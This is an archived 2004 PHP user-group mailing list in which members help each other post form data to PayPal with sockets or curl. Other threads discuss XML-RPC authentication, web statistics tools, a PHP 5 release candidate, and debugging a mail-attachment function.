much, much, much appreciated. Thank you. Bill Here is the code: //First I define the variables as key/value pairs in an //array called $PayPal_Vars //Next we need to provide the parameters for the //fsockopen() and fputs() functions foreach ($PayPal_Vars as $key => $value) { $value = stripslashes($value); $value = urlencode($value); if (!$req) { $req .= "$key=$value"; } else { $req .= "&"; $req .= "$key=$value"; } $req .= "\r\n\r\n"; } $header .= "POST /cgi-bin/webscr HTTP/1.0\r\n"; $header .= "Host: www.sandbox.paypal.com\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($req) . "\r\n\r\n"; //Finally we need to script the call to the PayPal server //and the posting of the data if ($PayPal_Vars[test_ipn] == 1) { $fp = fsockopen ("www.sandbox.paypal.com", 80, $errno, $errstr, 30); } else { $fp = fsockopen ("www.paypal.com", 80, $errno, $errstr, 30); } if (!$fp) { return "ERROR"; } else { $fout = fputs ($fp, $header . $req); echo "
fout = $fout"; $tmp_headers = ""; while ($str = trim(fgets($fp, 4096))) { $tmp_headers .= $str."\n"; } $tmp_body = ""; while ($str = trim(fgets($fp, 4096))) { $tmp_body .= $str."\n"; } fclose($fp); } -------------- next part -------------- An HTML attachment was scrubbed... URL: From jonbaer at jonbaer.net Wed Jun 9 15:48:55 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 9 Jun 2004 15:48:55 -0400 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets In-Reply-To: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> References: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> Message-ID: <20040609194805.GA12708@jonbaer.net> Is this from the actual dev toolkit they provide? I had issues with various scripts I came across until I used their stuff ... https://www.paypal.com/us/cgi-bin/webscr?cmd=p/pdn/software_dev_kit_php (However on a side note since being the victim of a chargeback scam Ive dropped PayPal altogether, seller beware :-\ ) - Jon On Wed, Jun 09, 2004 at 03:35:41PM -0400, William E. Fisher wrote: > Despite being logged into developer central, I receive the message "To access the PayPal Sandbox, please log in to PayPal Developer Central. " rather than the payment details page. No activity is recorded in the seller's account, and my ipn script at the notify_url is not hit. > > Is someone familiar enough with either using sockets or using paypal that he/she might be able to provide some direction or a solution? > > Any help will be much, much, much appreciated. > > Thank you. > -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From wefisher at open-world.com Wed Jun 9 16:42:06 2004 From: wefisher at open-world.com (William E. Fisher) Date: Wed, 9 Jun 2004 16:42:06 -0400 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets References: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> <20040609194805.GA12708@jonbaer.net> Message-ID: <008601c44e62$3b141570$0801a8c0@DELL4100> John: No I did not use the PayPal developers kit. The PHP developers kit is in beta and was only posted to their site last week. For handling the ipn transaction I used a script from "eliteweaver." It seems to work pretty well. My question actually concerns the step just before that--before paypal executes its ipn scripts. I am trying to make the initial post of form data from a script. So instead of a user clicking a form submit button with a form action directed to the PAYPAL SERVER, in my case the user will click a form submit button with a form action directed to another script on MY SERVER. That script will then manipulate some data and finally post it to the PAYPAL SERVER. But I'm not smart enough to make it work. (And I am definitely not able to call myself a programmer.) Bill ----- Original Message ----- From: "Jon Baer" To: "NYPHP Talk" Sent: Wednesday, June 09, 2004 3:48 PM Subject: Re: [nycphp-talk] Posting data to PayPal from a script using sockets > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From jv_nyphp at duikerbok.com Wed Jun 9 18:36:05 2004 From: jv_nyphp at duikerbok.com (Jose Villegas) Date: Wed, 9 Jun 2004 18:36:05 -0400 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets In-Reply-To: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> References: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> Message-ID: <65078F86-BA65-11D8-8636-000A95D78076@duikerbok.com> I would use curl to do this kind of thing. http://www.zend.com/manual/ref.curl.php Jose On Jun 9, 2004, at 3:35 PM, William E. Fisher wrote: > Here is a question from someone (me) who is in way over his head. > I am in search of some help in posting form variables to a third party > server from a script. The third party server is PayPal (sandbox) and > the post would be the initial variables that are needed to initiate an > IPN transaction. > I am trying sockets to connect to the paypal server. I had some > success but not yet a complete transaction. > The following code is able to open a socket on the sandbox server and > write the post header and data to the server. And I am able to get and > read a response from the the sandbox server. > However, I am not able to complete the transaction. > Despite being logged into developer central, I receive the message > "To access the PayPal Sandbox, please log in to PayPal Developer > Central. " rather than the payment details page. No activity is > recorded in the seller's account, and my ipn script at the notify_url > is not hit. > Is someone familiar enough with either using sockets or using paypal > that he/she might be able to provide some direction or a solution? > Any help will be much, much, much appreciated. > Thank you. > Bill > ... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1941 bytes Desc: not available URL: From joel at tagword.com Wed Jun 9 20:26:26 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 09 Jun 2004 20:26:26 -0400 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets In-Reply-To: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> References: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> Message-ID: <1086827186.11831.98.camel@bezel> I wrote a tutorial on this for zend.com: here: http://www.zend.com/zend/tut/tutorial-paypal.php or plaintext: http://www.zend.com/zend/tut/tutorial-paypal.php?print=1 Or for "sending" money through paypal.. here: http://lucifer.intercosmos.net/?view=SNIP&item=52 I also did http://ipn.joihost.com which is an IPN logger/reposter and is listed on the official Paypal website under IPN logging services. It really does not do a lot of traffic right now, so if you needed pieces let me know. Cheers -joel On Wed, 2004-06-09 at 15:35, William E. Fisher wrote: > Here is a question from someone (me) who is in way over his head. > > I am in search of some help in posting form variables to a third party > server from a script. The third party server is PayPal (sandbox) and > the post would be the initial variables that are needed to initiate an > IPN transaction. > > I am trying sockets to connect to the paypal server. I had some > success but not yet a complete transaction. > > The following code is able to open a socket on the sandbox server and > write the post header and data to the server. And I am able to get and > read a response from the the sandbox server. > > However, I am not able to complete the transaction. > > Despite being logged into developer central, I receive the message "To > access the PayPal Sandbox, please log in to PayPal Developer Central. > " rather than the payment details page. No activity is recorded in the > seller's account, and my ipn script at the notify_url is not hit. > > Is someone familiar enough with either using sockets or using paypal > that he/she might be able to provide some direction or a solution? > > Any help will be much, much, much appreciated. > > Thank you. > > Bill > Here is the code: > //First I define the variables as key/value pairs in an > //array called $PayPal_Vars > > //Next we need to provide the parameters for the > //fsockopen() and fputs() functions > foreach ($PayPal_Vars as $key => $value) > { > $value = stripslashes($value); > $value = urlencode($value); > if (!$req) > { > $req .= "$key=$value"; > } > else > { > $req .= "&"; > $req .= "$key=$value"; > } > $req .= "\r\n\r\n"; > } > > $header .= "POST /cgi-bin/webscr HTTP/1.0\r\n"; > $header .= "Host: www.sandbox.paypal.com\r\n"; > $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; > $header .= "Content-Length: " . strlen($req) . "\r\n\r\n"; > > > //Finally we need to script the call to the PayPal server > //and the posting of the data > if ($PayPal_Vars[test_ipn] == 1) > { > $fp = fsockopen ("www.sandbox.paypal.com", 80, $errno, $errstr, > 30); > } > else > { > $fp = fsockopen ("www.paypal.com", 80, $errno, $errstr, 30); > } > > if (!$fp) > { > return "ERROR"; > } > else > { > $fout = fputs ($fp, $header . $req); > echo "
fout = $fout"; > > $tmp_headers = ""; > while ($str = trim(fgets($fp, 4096))) > { > $tmp_headers .= $str."\n"; > } > $tmp_body = ""; > while ($str = trim(fgets($fp, 4096))) > { > $tmp_body .= $str."\n"; > } > > fclose($fp); > } > > > ______________________________________________________________________ > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From sm11szw02 at sneakemail.com Thu Jun 10 00:15:22 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Thu, 10 Jun 2004 00:15:22 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40BF37E5.4000409@optonline.net> References: <40BF37E5.4000409@optonline.net> Message-ID: <30606-47215@sneakemail.com> Jeff Siegel jsiegel1-at-optonline.net |nyphp 04/2004| wrote: > The web stats provided by my client's ISP (shared hosting) leaves a > lot to be desired (seems that some things are not being recorded in > the stats log). Just wondering if there is a PHP/MySQL-based solution > that will allow us to get some real stats. > > Jeff Siegel > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > Talk about "fun with web traffic" :-) http://www.visitorville.com/ http://www.wired.com/news/technology/0,1282,63767,00.html?tw=newsletter_topstories_html From jayeshsh at ceruleansky.com Thu Jun 10 00:54:29 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Thu, 10 Jun 2004 00:54:29 -0400 Subject: [nycphp-talk] Authentication with XML-RPC Message-ID: <40C7E985.4090109@ceruleansky.com> Hello all, I recently bought the Essential PHP Tools book by David Sklar, and I must say that I found it to be excellent. This book has a chapeter on using XML-RPC - something that I was interested in understanding and using before, but whose corressponding PEAR class seemed too ... undecipherable and undocumented until I came across the relevant chapter in this book. Now that I (sort of) understand how it works, here's the problem I would like to solve using XML-RPC: I would like to have several sites, all at disparate domains or subdomains managed by the same content management system, and utilizing the same database. For example, suppose I had three sites, each on the subject of different ethnic dishes: one about bagels, the other about pierogies, and the third about knishes. (Okay, I know this example is starting to sound a bit kooky now !) One way of maintaining three CMS-driven sites would be to install the same CMS on three different domains (/ subdomains / hosting providers), and have those three CMS installations access the same database, and pull different articles from the same database and display different kinds of articles on different sites. For example, on the bagels site, the CMS would retrieve all articles (from the master database) whose category matches the bagel category, i.e.: SELECT FROM masterdb.articles WHERE cat=1 LIMIT 10 And on the pierogies site the CMS would retrieve all articles (again from the same master database) whose category matches the pierogies category, i.e.: SELECT FROM masterdb.articles WHERE cat=2 LIMIT 10 But here is the problem with this approach: in each domain's CMS installation, I have to have both the libraries and scripts for the administration panel, AND for the site display. So here's my idea: Why not have a master database whose content is accessible over XML-RPC using a lean parser-and-displayer script. Thus, the parser-and-displayer would be small and extensible (using templates and plugins) and be able to retrieve just the data it needs from an external system and display it in a custom fashion. Why not just have disparate scripts access the same database using the MySQL native protocol? Well ... what if the master MySQL database is behind a firewall, and the mutltiple sites on which I want to display the data are on other hosting providers, or on partners' sites? I do not want to give such "external" parties direct access to the database (via MySQL usernames and passwords). Why not just syndicate content using an XML-based format such as RSS ? Well, I want to control access to the data, and want the script requesting data to be able to retrieve data flexibly; for example, I would like for bagelsrlotsoffun.com to be able to retrieve all articles related to bagels from the time period January 2002 - December 2003. So my question is (you NEVER thought I'd get to it, right?): How can I use an authentication scheme over XML-RPC? Is this doable or easy? Is SOAP better for this job? I am currently using the PEAR Auth class, and it has a SOAP "container". I have not used web services that much, and so I am looking for good advice on where to start when it comes to setting up secure, permission based syndication systems using XML-RPC or other web service systems. Thanks for reading all this (non-concise) $%^! - I look forward to your collective advice. Best Regards, - Jay -- Cerulean Sky Creations, LLC http://www.ceruleansky.com From shemin.sr at verizon.net Thu Jun 10 02:27:35 2004 From: shemin.sr at verizon.net (Susan Shemin) Date: Wed, 9 Jun 2004 23:27:35 -0700 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets References: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100><20040609194805.GA12708@jonbaer.net> <008601c44e62$3b141570$0801a8c0@DELL4100> Message-ID: <009101c44eb4$0a57c2e0$e1ff2f04@q2o4z6> I also did not use the PayPal Development Kit. I develop with Dreamweaver, and there is a free PHP extension in Dreamweaver for PayPal at: http://www.macromedia.com/cfusion/exchange/index.cfm?view=sn121&extID=549082#loc=en_us&view=sn121&extID=549082&viewName=Dreamweaver%20Extension&avm=1 Webassist.com is the company that makes the extension. It works wonderfully. The data is in your database, and the webpage connects to PayPal to handle the transaction. In the code you put the returning webpage (thank you...) you want your customer to come back to, so the customer can continue on your site when the transaction is finished. Susan ----- Original Message ----- From: "William E. Fisher" To: "NYPHP Talk" Sent: Wednesday, June 09, 2004 1:42 PM Subject: Re: [nycphp-talk] Posting data to PayPal from a script using sockets > John: > > No I did not use the PayPal developers kit. The PHP developers kit is in > beta and was only posted to their site last week. For handling the ipn > transaction I used a script from "eliteweaver." It seems to work pretty > well. > > My question actually concerns the step just before that--before paypal > executes its ipn scripts. I am trying to make the initial post of form data > from a script. So instead of a user clicking a form submit button with a > form action directed to the PAYPAL SERVER, in my case the user will click a > form submit button with a form action directed to another script on MY > SERVER. That script will then manipulate some data and finally post it to > the PAYPAL SERVER. > > But I'm not smart enough to make it work. (And I am definitely not able to > call myself a programmer.) > > Bill > > ----- Original Message ----- > From: "Jon Baer" > To: "NYPHP Talk" > Sent: Wednesday, June 09, 2004 3:48 PM > Subject: Re: [nycphp-talk] Posting data to PayPal from a script using sockets > > > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From tgales at tgaconnect.com Thu Jun 10 08:14:42 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 10 Jun 2004 08:14:42 -0400 Subject: [nycphp-talk] PHP Version 5.0.0 -- RC3 Released Message-ID: <007101c44ee4$832c3900$e98d3818@oberon1> Version 5.0.0 Release Candidate 3 was made available day before yesterday (Tuesday June 8th) Changes are at: http://www.php.net/ChangeLog-5.php#5.0.0RC3 T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From adam at trachtenberg.com Thu Jun 10 12:27:55 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Thu, 10 Jun 2004 12:27:55 -0400 (EDT) Subject: [nycphp-talk] Authentication with XML-RPC In-Reply-To: <40C7E985.4090109@ceruleansky.com> References: <40C7E985.4090109@ceruleansky.com> Message-ID: On Thu, 10 Jun 2004, Jayesh Sheth wrote: > I recently bought the Essential PHP Tools book by David Sklar, and I > must say that I found it to be excellent. As a biased observer, if you like (or even dislike) a computer book a great way to help (or punish) the author is to write a review for Amazon.Com. It doesn't need to be long and fancy; even a short review that's to the point and highlights why the book is (or isn't) helpful is great and can help boost sales. If you're a big fan, consider submitting a book review to slashdot. It's a good way to get your name out and help the author at the same time. :) -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From wefisher at open-world.com Thu Jun 10 13:01:47 2004 From: wefisher at open-world.com (William E. Fisher) Date: Thu, 10 Jun 2004 13:01:47 -0400 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets References: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> <1086827186.11831.98.camel@bezel> Message-ID: <00d901c44f0c$9e72c4e0$0801a8c0@DELL4100> Dear Susan, Jose, Joel: Thank you for your fast and intelligent replies. Jose, I have been trying to avoid using curl (which I have never used and don't really understand), but I'll give it a try if it comes to that. Joel, I'm still working through your links. I'm unavailable for a few days but I'll respond again on Monday. (Meanwhile, if anyone has any specific comments about using sockets, I would still be interested in learning more about what I must have left out of my code (below).) Thanks, and cheers, Bill ----- Original Message ----- From: "Joel De Gan" To: "NYPHP Talk" Sent: Wednesday, June 09, 2004 8:26 PM Subject: Re: [nycphp-talk] Posting data to PayPal from a script using sockets > I wrote a tutorial on this for zend.com: > here: http://www.zend.com/zend/tut/tutorial-paypal.php > or plaintext: http://www.zend.com/zend/tut/tutorial-paypal.php?print=1 > > Or for "sending" money through paypal.. here: > http://lucifer.intercosmos.net/?view=SNIP&item=52 > > I also did http://ipn.joihost.com which is an IPN logger/reposter and is > listed on the official Paypal website under IPN logging services. It > really does not do a lot of traffic right now, so if you needed pieces > let me know. > > Cheers > -joel > > On Wed, 2004-06-09 at 15:35, William E. Fisher wrote: > > Here is a question from someone (me) who is in way over his head. > > > > I am in search of some help in posting form variables to a third party > > server from a script. The third party server is PayPal (sandbox) and > > the post would be the initial variables that are needed to initiate an > > IPN transaction. > > > > I am trying sockets to connect to the paypal server. I had some > > success but not yet a complete transaction. > > > > The following code is able to open a socket on the sandbox server and > > write the post header and data to the server. And I am able to get and > > read a response from the the sandbox server. > > > > However, I am not able to complete the transaction. > > > > Despite being logged into developer central, I receive the message "To > > access the PayPal Sandbox, please log in to PayPal Developer Central. > > " rather than the payment details page. No activity is recorded in the > > seller's account, and my ipn script at the notify_url is not hit. > > > > Is someone familiar enough with either using sockets or using paypal > > that he/she might be able to provide some direction or a solution? > > > > Any help will be much, much, much appreciated. > > > > Thank you. > > > > Bill > > Here is the code: > > //First I define the variables as key/value pairs in an > > //array called $PayPal_Vars > > > > //Next we need to provide the parameters for the > > //fsockopen() and fputs() functions > > foreach ($PayPal_Vars as $key => $value) > > { > > $value = stripslashes($value); > > $value = urlencode($value); > > if (!$req) > > { > > $req .= "$key=$value"; > > } > > else > > { > > $req .= "&"; > > $req .= "$key=$value"; > > } > > $req .= "\r\n\r\n"; > > } > > > > $header .= "POST /cgi-bin/webscr HTTP/1.0\r\n"; > > $header .= "Host: www.sandbox.paypal.com\r\n"; > > $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; > > $header .= "Content-Length: " . strlen($req) . "\r\n\r\n"; > > > > > > //Finally we need to script the call to the PayPal server > > //and the posting of the data > > if ($PayPal_Vars[test_ipn] == 1) > > { > > $fp = fsockopen ("www.sandbox.paypal.com", 80, $errno, $errstr, > > 30); > > } > > else > > { > > $fp = fsockopen ("www.paypal.com", 80, $errno, $errstr, 30); > > } > > > > if (!$fp) > > { > > return "ERROR"; > > } > > else > > { > > $fout = fputs ($fp, $header . $req); > > echo "
fout = $fout"; > > > > $tmp_headers = ""; > > while ($str = trim(fgets($fp, 4096))) > > { > > $tmp_headers .= $str."\n"; > > } > > $tmp_body = ""; > > while ($str = trim(fgets($fp, 4096))) > > { > > $tmp_body .= $str."\n"; > > } > > > > fclose($fp); > > } > > > > > > ______________________________________________________________________ > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > -- > joeldg - developer, Intercosmos media group. > http://lucifer.intercosmos.net > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From drydell at att.net Thu Jun 10 13:09:51 2004 From: drydell at att.net (drydell at att.net) Date: Thu, 10 Jun 2004 17:09:51 +0000 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets Message-ID: <061020041709.29114.40C895DF00067D40000071BA216028074104040A0B979D0B@att.net> I use POST to send xml data to a foreign UNIX server... I suggest that you include User-Agent and Connection: Close headers. The other thing, which I'm not sure is server-specific or not, is that I use \n to delimit headers, not \r\n. This code snippet has been in working in production for about 4 months: $header = "POST $remote_url HTTP/1.0\n"; $header .= "Host: $remote_server\n"; $header .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\n"; $header .= "Content-type: text/xml\n"; $header .= "Content-length: ".strlen($data)."\n"; $header .= "Connection: Close\n\n"; $fp = fsockopen($remote_server, 80, &$errno, &$errstr); if ($fp) { fputs($fp, "$header$request"); $response = "

Connected to $remote_server$remote_url

RESPONSE ::
"; while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); $return = $response; } else { $return = "

Cannot connect to $remote_server
errno::$errno
errstr::$errstr"; } return $return; -------------- next part -------------- An HTML attachment was scrubbed... URL: From drydell at att.net Thu Jun 10 13:12:54 2004 From: drydell at att.net (drydell at att.net) Date: Thu, 10 Jun 2004 17:12:54 +0000 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets Message-ID: <061020041712.2654.40C89695000D32A500000A5E216028074104040A0B979D0B@att.net> sorry, that fputs statement should be: fputs($fp, "$header$data"); -------------- next part -------------- An HTML attachment was scrubbed... URL: From max.goldberg at gmail.com Thu Jun 10 13:47:33 2004 From: max.goldberg at gmail.com (max goldberg) Date: Thu, 10 Jun 2004 13:47:33 -0400 Subject: [nycphp-talk] Authentication with XML-RPC In-Reply-To: References: <40C7E985.4090109@ceruleansky.com> Message-ID: <87e6ded304061010477aeae742@mail.gmail.com> Roughly a year and half ago I was tasked with designing somewhat of a "data warehouse" for a liquor company. What they wanted was a centralized location for all customer data, survey information, and user accounting. This was done for a couple of reasons, foremost they wanted customer information in a standard format. They were having to pay people to write custom reporting tools each time they wanted to get statistics for a different site. Secondly, it meant that credit card numbers and other private information wouldn't be stored all over the place, with various companies. Granted I only designed the project and it was then handed off to another company to build it (insert spite here), but I did build a prototype. After deciding on XML-RPC for the data transactions, authentication was also an area of interest to me. The remote web servers would connect when getting a piece of customer information such as an address, or when a user would try to log into a website. It followed a path similar to this: Web server connects to data warehouse. Web server authenticates with data warehouse. -Data warehouse figures out what this web server has access to do. Web server requests data or authenticates a user. Data warehouse gives data or user permissions. etc. I was using shared memory to keep track of sessions, but most of the time I just had curl open up a persistent connection and made sort of a daemon on the other side. A few things I tried: Basic HTTP authentication Challenge based authentication. mod_ssl requiring client certificates. etc. What I found is that when the remote servers are on reasonably fast, low latency connections, any of the above combined with SSL is secure and easy enough for basic authentication. When testing prototypes it was fast enough that a user definitely wouldn't notice, surprisingly. I hope that helps, you may also want to look into: http://modules.apache.org/search.php?id=532 although I never have. If you are still scratching your head after playing around with this for a while, I may be able to dig up some examples from my prototype for you. -Max On Thu, 10 Jun 2004 12:27:55 -0400 (EDT), Adam Maccabee Trachtenberg wrote: > > On Thu, 10 Jun 2004, Jayesh Sheth wrote: > > > I recently bought the Essential PHP Tools book by David Sklar, and I > > must say that I found it to be excellent. > > As a biased observer, if you like (or even dislike) a computer book a > great way to help (or punish) the author is to write a review for > Amazon.Com. > > It doesn't need to be long and fancy; even a short review that's to > the point and highlights why the book is (or isn't) helpful is > great and can help boost sales. > > If you're a big fan, consider submitting a book review to > slashdot. It's a good way to get your name out and help the author at > the same time. :) > > -adam > > -- > adam at trachtenberg.com > author of o'reilly's php cookbook > avoid the holiday rush, buy your copy today! > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From jv_nyphp at duikerbok.com Thu Jun 10 14:38:23 2004 From: jv_nyphp at duikerbok.com (Jose Villegas) Date: Thu, 10 Jun 2004 14:38:23 -0400 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets In-Reply-To: <00d901c44f0c$9e72c4e0$0801a8c0@DELL4100> References: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> <1086827186.11831.98.camel@bezel> <00d901c44f0c$9e72c4e0$0801a8c0@DELL4100> Message-ID: <5A75AE7A-BB0D-11D8-999C-000A95D78076@duikerbok.com> Curl is very straightforward. Just try something like this out: ob_start(); $ch = curl_init('http://www.target-site.com/'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'name=example'); curl_exec($ch); curl_close($ch); $response = ob_get_contents(); ob_end_clean(); Then you can process the result in $response as you like. Jose On Jun 10, 2004, at 1:01 PM, William E. Fisher wrote: > ... > Jose, I have been trying to avoid using curl (which I have never used > and > don't really understand), but I'll give it a try if it comes to that. > ... From adam at trachtenberg.com Thu Jun 10 14:43:47 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Thu, 10 Jun 2004 14:43:47 -0400 (EDT) Subject: [nycphp-talk] Posting data to PayPal from a script using sockets In-Reply-To: <5A75AE7A-BB0D-11D8-999C-000A95D78076@duikerbok.com> References: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> <1086827186.11831.98.camel@bezel> <00d901c44f0c$9e72c4e0$0801a8c0@DELL4100> <5A75AE7A-BB0D-11D8-999C-000A95D78076@duikerbok.com> Message-ID: On Thu, 10 Jun 2004, Jose Villegas wrote: > Curl is very straightforward. Just try something like this out: > > ob_start(); > $ch = curl_init('http://www.target-site.com/'); > curl_setopt($ch, CURLOPT_POST, 1); > curl_setopt($ch, CURLOPT_POSTFIELDS, 'name=example'); > curl_exec($ch); > curl_close($ch); > $response = ob_get_contents(); > ob_end_clean(); You can omit the output buffering calls if you set CURLOPT_RETURNTRANSFER to true (or 1). -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From jv_nyphp at duikerbok.com Thu Jun 10 15:15:49 2004 From: jv_nyphp at duikerbok.com (Jose Villegas) Date: Thu, 10 Jun 2004 15:15:49 -0400 Subject: [nycphp-talk] Posting data to PayPal from a script using sockets In-Reply-To: References: <006101c44e58$f3cdb5d0$0801a8c0@DELL4100> <1086827186.11831.98.camel@bezel> <00d901c44f0c$9e72c4e0$0801a8c0@DELL4100> <5A75AE7A-BB0D-11D8-999C-000A95D78076@duikerbok.com> Message-ID: <956FE3AC-BB12-11D8-999C-000A95D78076@duikerbok.com> On Jun 10, 2004, at 2:43 PM, Adam Maccabee Trachtenberg wrote: > On Thu, 10 Jun 2004, Jose Villegas wrote: >> Curl is very straightforward. Just try something like this out: >> >> ob_start(); >> $ch = curl_init('http://www.target-site.com/'); >> curl_setopt($ch, CURLOPT_POST, 1); >> curl_setopt($ch, CURLOPT_POSTFIELDS, 'name=example'); >> curl_exec($ch); >> curl_close($ch); >> $response = ob_get_contents(); >> ob_end_clean(); > > You can omit the output buffering calls if you set > CURLOPT_RETURNTRANSFER to true (or 1). Thanks for the pointer Jose From phillip.powell at adnet-sys.com Thu Jun 10 17:30:59 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Thu, 10 Jun 2004 17:30:59 -0400 Subject: [nycphp-talk] custom mail() with attachment problem using RH7.3/Apache Message-ID: <40C8D313.30101@adnet-sys.com> I wrote a custom mail() function that should handle emailing with attachments, based upon content I saw in the PHP manual and on www.phpbuilder.com: [PHP] // ORIGINAL FUNCTION FOUND AT http://www.php.net/manual/en/function.mail.php#41681 WITH cc AND bcc MODIFICATIONS BY PHIL POWELL 6/10/2004 function mail_attach($to, $subject, $message, $from, $files = false, $lb="\n", $cc = '', $bcc = '') { /*---------------------------------------------------------------------------------------------- $to Recipient $from Sender (like "email at domain.com" or "Name ") $subject Subject $message Content $files hash-array of files to attach $lb is linebreak characters... some mailers need \r\n, others need \n -------------------------------------------------------------------------------------------------*/ global $phpVersionInt; $mime_boundary = '==Multipart_Boundary_x' . md5(uniqid(mt_rand(), 1)) . 'x'; $header = 'From: '. $from; if ($cc) $header .= $lb . "Cc: $cc"; if ($bcc && (int)$phpVersionInt > 430) $header .= $lb . "Bcc: $bcc"; // Add the headers for a file attachment $headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\""; if (is_array($files)) { $header.= $lb . "\nMIME-Version: 1.0$lb" . "\nContent-Type: multipart/mixed;\n" . " boundary=\"$mime_boundary\"\n"; $content = "This is a multi-part message in MIME format.\n\n" . "--$mime_boundary\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n"; } $content .= "$message\n"; if (is_array($files)) { $content.= "--{$mime_boundary}\n"; foreach ($files as $filename => $filelocation) { if (is_readable($filelocation) && is_file($filelocation)) { $fileID = @fopen($filelocation); $data = @fread($fileID, filesize($filelocation)); @fclose($fileID); $data = chunk_split(base64_encode($data)); // Add file attachment to the message $message .= "--{$mime_boundary}\n" . 'Content-Type: ' . mime_content_type($filelocation) . ";\n" . " name=\"{$filename}\"\n" . "Content-Disposition: attachment;\n" . " filename=\"{$filename}\"\n" . "Content-Transfer-Encoding: base64\n\n" . $data . "\n\n" . "--{$mime_boundary}--\n"; } } } if (mail($to, $subject, $content, $header)) return true; return false; } [/PHP] However, upon utilizing this function, the site that calls it crashes, mail is never delivered and resources are locked for a good 5 minutes or more! I checked my mail settings in php.ini and they seem utterly standard: sendmail_path = /usr/sbin/sendmail -t -i I am figuring that it might be in the way I'm writing the headers but can't verify that either. Ideas welcomed, I can't borrow however as this is governmental and by regulation everything has to be 100% custom. Go figure. Thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From Patrick.Lambert at noggin.com Thu Jun 10 18:06:59 2004 From: Patrick.Lambert at noggin.com (Lambert, Patrick) Date: Thu, 10 Jun 2004 18:06:59 -0400 Subject: [nycphp-talk] Posting data to PayPal from a script using socke ts Message-ID: <61F3C80783230942BCB082D89E6F1EB303B2045C@nickny2.viacom.com> PEAR's HTTP_Request (http://pear.php.net/package/HTTP_Request) presents a nice interface that removes a lot of the drudgery from dealing with POST requests and the like. p. -------------- next part -------------- An HTML attachment was scrubbed... URL: From radical at amr.ro Fri Jun 11 03:42:09 2004 From: radical at amr.ro (Gabriel PREDA) Date: Fri, 11 Jun 2004 10:42:09 +0300 Subject: [nycphp-talk] custom mail() with attachment problemusingRH7.3/Apache Message-ID: <00ef01c44f87$9a23c030$0100a8c0@amrserver> - Problem lies in "mime_content_type" it's not a good function even if you have magic.mime... not to mention if you do not have it. It's sort of undocumented function : "Returns the MIME content type for a file as determined by using information from the magic.mime file. Content types are returned in MIME format, like text/plain or application/octet-stream." But it says not what happens if it fails... or if the file has an unrecognizable mime. Try to use something else - You're using a custom line break although in PHP manual says: "You must use \r\n to separate headers, although some Unix mail transfer agents may work with just a single newline (\n)." Also note SMTP and MINE standards (RFC821/822 and ancestors) that require messages to have \r\n . :) - You do not have a charset definition in header: Content-Type: text/plain; charset="iso-8859-1" - If your mail server requires authentication you need to communicate directly via sockets. - A misssssconfigured SENDMAIL cand return false if it has some errors... even though the mail was sent... - Take note that RFC 821 prohibits lines longer than 998 bytes. - 